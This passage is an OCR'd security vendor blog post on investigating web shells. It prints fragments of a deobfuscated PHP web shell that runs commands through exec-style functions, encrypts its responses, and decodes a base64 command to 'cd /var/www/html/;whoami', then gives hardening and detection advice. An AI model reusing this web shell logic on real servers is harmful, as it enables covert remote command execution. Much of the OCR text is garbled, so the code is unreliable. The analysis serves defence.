Gt!Sl(gF‘SBvIlSAMfYZBUOG\fuleFTsﬂEugICAgItﬂglefZHSkx?NsZHFuKCkTDuouIClqfSBlbmerL-ICkanﬂwF{S
ConcHIVY 19veGVulykgYWSkICEQIEI2Y2U0 ) 38yb. 7000g1CAGICAGICROYWSKDGUGPSBwWEmD | X
29-!2\“0)0“lGFvansmKICngtcwlwlﬂuvﬁ)IYXkuDUvqttwlﬂqNluh:ﬂgltl\;dSGB(GUHLAUKICAUIEIgICM]‘.lCAqt
CAQICdy IwBKICAQICAgTCAQTCAGKSWNT 1AgTCAgTCAgTCAQTGFycmFSKABKICAGICAgTCAGTCAQICAGT CdwaXB1lywNC iAgICAQT
CAgICAQICAICANdyCNCiAgTCAGICAGICAGECksDOogTICAQICAGICAQTICBhcnIheSONC iAgICAGICAGICAQICAGICANCEWZSESD
QogICAGICAZICAGICAGICAG) 3cnDOogICAGECAGICAGICAPDOagTCAGTICA ECks [CRAWAXE cyk7DQogICAGICAGICRIVOPXIDBGT
lwmsu:ugluqlngnzt.pn:ugkcsgmwz1gkcr.1-zmmopksa7uonqlugr:ngiuginkammympsa.cwhztgk(cluz
NBMVs IDEwM ] 0pOwBKICAQL CAQICBID00g I CAGICAG] EBWCmY j X2Ns b3N 1KCRa 25BpZiRelEp1Z
UFEquo]JBh:_WDaHJ‘Uyk;mklcEg]E]IlmﬂBﬂh:mﬂmJlJyvg)FBnZrlllth:lhplHsN(mIﬂquthch]lncnOuKTsHC
iAgTCAQTCAGCEF zcIR0cnUo] GHpOWBKTC AT CAGTCAKa 10K VyASTGY1 X2d1dFO ] b2507WS BeygpOwdKICAQTCAGTCBYY 19 TbaRFY

UTF8 ~

Figure 9. Decoding and decrypting the obfuscated string. (Click image for larger size.)

Deobfuscating the string reveals the arbitrary instructions passed to the server as a PHP class. Operator

instructions to the web shell are encoded inside of the $cmd parameter:

Operations
Search,
Favourites

To Base6q
From Base6d
To Hex

From Hex

To Hexdump
From Hexdump

URL Decode

Entropy
Fork.
Magic

Gip

Data format

€ c O (i gcha.github lo/CyberChat/frocipe=From_Based('A-Za-20-9%28/%30" true false) Sinput=ULd WaWNIOXTY MORSY DcSaWRHBHVae WA 35 1RZTKNNMEbIZ TW T NS cGIyNGHaMI YWy TIGBVpW TIBjaWdr 2.,

EEENK ]

Download CyberChef &

Recipe ama
From Base84. e n
* Alghaset .
A-Za-20-9+/=
Remove non- -
Strict mod
nalpfﬁhﬁl chars L Stictmode

Regular exprassion

Encryption [ Encoding

Public Key

Arithmetic | Logic

Hetworking

| Language

=
s @ A

Options About | Support i

Last build: A manth ago

Input

0GVy ey K31 Loy dh LuZygwkT sMCpRKZnVu Y IRpb 249 Z2VAU2F 1AgIC SBpY29 TonLCdnYasvLOIHTKISRSCsIHNG
< ikTD00 1CAGI A IDBgakhvbn oI 2diaycs VEZi0dLy CRZMSKTDog1 CAgGawT RzdHIpewdKICAGICAGICBY ZXR1cmidg ) Wik
1CAGIHI LBHNLewBKLCAGICAGTCBY DXRICHgalNVENT 01 2d Lay s J3VEZ184Ly9 c AGEHBNCAENCAZ JGHEZCwk
eGFBaCkNCNnsNC iAg ICBAC VXAV IBG 1t aX0oMCk 7D009 ICAGOG LnbmIyZVI1e 2Vy K2F ib3 JOKDEpOwOKT CAgIEBpba L c 2VBKCAL YXh f ZXh LY3VRaWOuXIRp
bWUNLCAWKT SHC (A TCAK Y 2x@TDBGYX )y YXkoKTSNC LAgIC J2RpC2F 3Rpb2521ykTDQ0GT CAGaWYGKCEGZNTw
otk 1AgICAQICAg, WVWOGF ] 25gAL 155 IFOFLyesICes Jywg) FBhZHRKD1KkDQ0g ICAG ICAGICROYWRESA4QPSEL
(eHBSERIKC 37 JFBYZHRKS LK TDQ0g 1 CAGLCAG LCRTMRASe4 gPS8ncr IheVILTXAD 1 3RyaHOnL LAKUGFRGERUATSHC1AG LCBIIGS c2UgewKIAGLCAGLCAK
CIRyCGIZKHNDC J3dpb

UGF kdEpulDBgY X yYXkokT sNC iAgICBIDGog ICAQIGHgPSAKY2 1 kiWOKICAg IG LI (!

XINRBGxhYmx1)2sNC iA IUkOHZ ZSASICdpblohenlh

B0m [

1QUKICAgTCRKIWVRREITIDOG).

KSBTDOCGICAGIC

ICR} T LiALIDI+] | FebilTDQog I

sresult("status”] = based _encoded*fail®);

$result["msg"] = basebd_encode(“none of proc_open/passthru/shell_exec/exec/exec is available");
Shey = §_SESSIOM['k'];

echo encrypt(json_encodel{Sresult], $key);

return;

'

$result["status"] = base6d_encode("success”);

$result["msg"] = base6d_encodelgetSafeStr($iIwl);

echo encrypt(json_encode($result), S$_SESSION['k']);
}

function encrypt($data,skey)
! if{textension_loaded| 'openss1'})
! for(si=si<strienisdata)isie) {
$datal$i] = sdatal$i]skey[$i+1615];
:ﬂum $data;
else

return openssl_encrypt($data, "AES128”, Skey);

}
}sond="Y20gL3Zhc 193d3cvatRtbCB7d2wTW1p™ | $cmd=base6d_decode(scnd) ;$path="L3Zhci93d3cvalRtb(B=" ] spath=base64_decode (spath);
main($cmd, $path) ;

Figure 10. Contents of the deobfuscated function. (Click image for larger size.)

The value of the cmd parameter is base64 decoded before being evaluated. In the case of our example, the

command “ Y2QglL3Zhci93d3cvaHRtbC87d2hvYW1p ” decodes to cd /var/www/html/;whoami:
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(i gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B[%3D" true,false) &input=WTJRZ 0wzWmhjaT kzZDNjdmFIUnRiQzg3ZDJodIIXMXA

het ¥ Last build: A month ago
Recipe Bl E inpu
Y20gL3Zhci93d3cvaHRtbC87d2ZhvYWlp
From Base64
Alphabet -
A-Za-z@-9+/=
Remove non-alphabet chars |:| Strict mode

ets

<sum

Output

cd /var/www/html/;whoami

Figure 11. Decoded system command. (Click image for larger size.)

While obfuscation techniques can mask the contents of a script, in cases where TLS is not being used, the query
responses from the server will be displayed in plain text via the web logs and PCAPs. To remain stealthy under
these conditions, attackers opt to also encrypt their web shell responses using the same hardcoded pre-shared key.
Successfully deobfuscating the script explains what the script is capable of. However, obtaining the pre-shared key
can be further used to understand what input was issued and what output was produced from a compromised asset.
This information can be leveraged in the event that a packet capture or HTTP application content logs of the event

are generated and made available to the analysts.
Web Shell Protection

In terms of web server hardening, there are a few measures that can be taken to limit the functionality of

potentially implanted web shells.

e Avoid using dangerous operations and methods: Web applications should avoid using dangerous
operations and methods including, but not limited to: exec() , eval() ,or os()

e Follow Robust input validation and sanitization best practices: Practices including OWASP Proactive

Control C5: Validate all Inputs, should be followed and implemented during the software development life

cycle (SDLC), as well as validated periodically through recurring application security testing.
o Investigating potential and detecting actual web shell activity: This requires maturity within the
security organization, including, but not limited to, timely access to:

e An up-to-date, accurate hardware inventory

e An up-to-date, accurate software inventory

o Network traffic flow logs for traffic to and from any zone that hosts web applications and services

e Web server logs
FAQs
How does a web shell attack work?

A web shell is a common cyber attack technique used by attackers to gain access to an organization’s server or
database. Attackers will upload malicious scripts to a web server known as a web shell script. Then, they acquire

root account access, which they can use to execute commands remotely via a web interface.
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How do attackers use web shells?

Attackers use web shells to obfuscate malicious activity and gain access to an organization’s server. Access is not
temporary but persistent, meaning they can return later and continue the attack. Attackers use a web server to

execute system commands and move laterally within a network.

What are common web shell functionalities?

Using a web shell, attackers can:

o Execute commands: Attackers use web shells to remotely execute commands on an organization’s server
via a web browser.

o Steal data: With root account access, attackers can access sensitive data and confidential information.

e Manipulate files: Attackers can manipulate any files on an organization’s server, whether that may be
PDFs, documents, or website files.

o Tunnel: Depending on the capabilities of your server, attackers may be able to use web shells to access
additional systems.

o Launch DDeoS attacks: With access to your server, attackers can flood your network with traffic and cause
service overloads and outages

o Distribute malware: Attackers can use web shells to infect website visitors with malware.
How do you detect web shells?
To monitor for webshells, it’s important to:

e Analyze web logs: Keep an eye out for suspicious activities like requests to files or suspicious payloads.
e Monitor files: Unexpected changes to files may be a sign of a cyber attack.
e Look for unusual activity: Keep an eye out for users with excess privileges.

e Monitor application behavior: Use tools for application filtering to identify suspicious behavior and signs

of web shell activity.
e Build a zero trust architecture: Building a zero trust architecture helps detect web shells by continuously
verifying user and device identities, enforcing least-privilege access, and monitoring all traffic, even within

the network.

How does Gigamon help protect against web shell attacks?

Gigamon provides deep observability and advanced threat detection to identify web shell attacks before they can

do damage. Our tools make it easy to monitor threats and take preventative steps to mitigate cyber attacks.

Gigamon can also help your organization build a zero trust architecture. Require every user on every device to

authenticate before they can access your network. In the event that a web shell attack occurs, an attacker won’t be

able to access any systems or applications within your server.

Conclusion
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Once an adversary achieves initial access to a web server, deploying one or multiple web shells has been observed
to be a common next step in the attack lifecycle. Organizations can gain insight into potential web shell activity by
analyzing highly available NetFlow data. The network profile of client interaction with a web server when
searching for an attack vector is distinct from interaction with a web shell that has been successfully
operationalized. These network profiles can be observed within network metadata regardless of the obfuscation

and encryption schemes used by the attacker.

Combining these investigative techniques alongside proactively employing infrastructure hardening measures,

organizations can detect and eliminate web shell attacks in their earliest stages.

Ready to get started?

Source: https://blog.gigamon.com/2022/09/28/investigating-web-shells/
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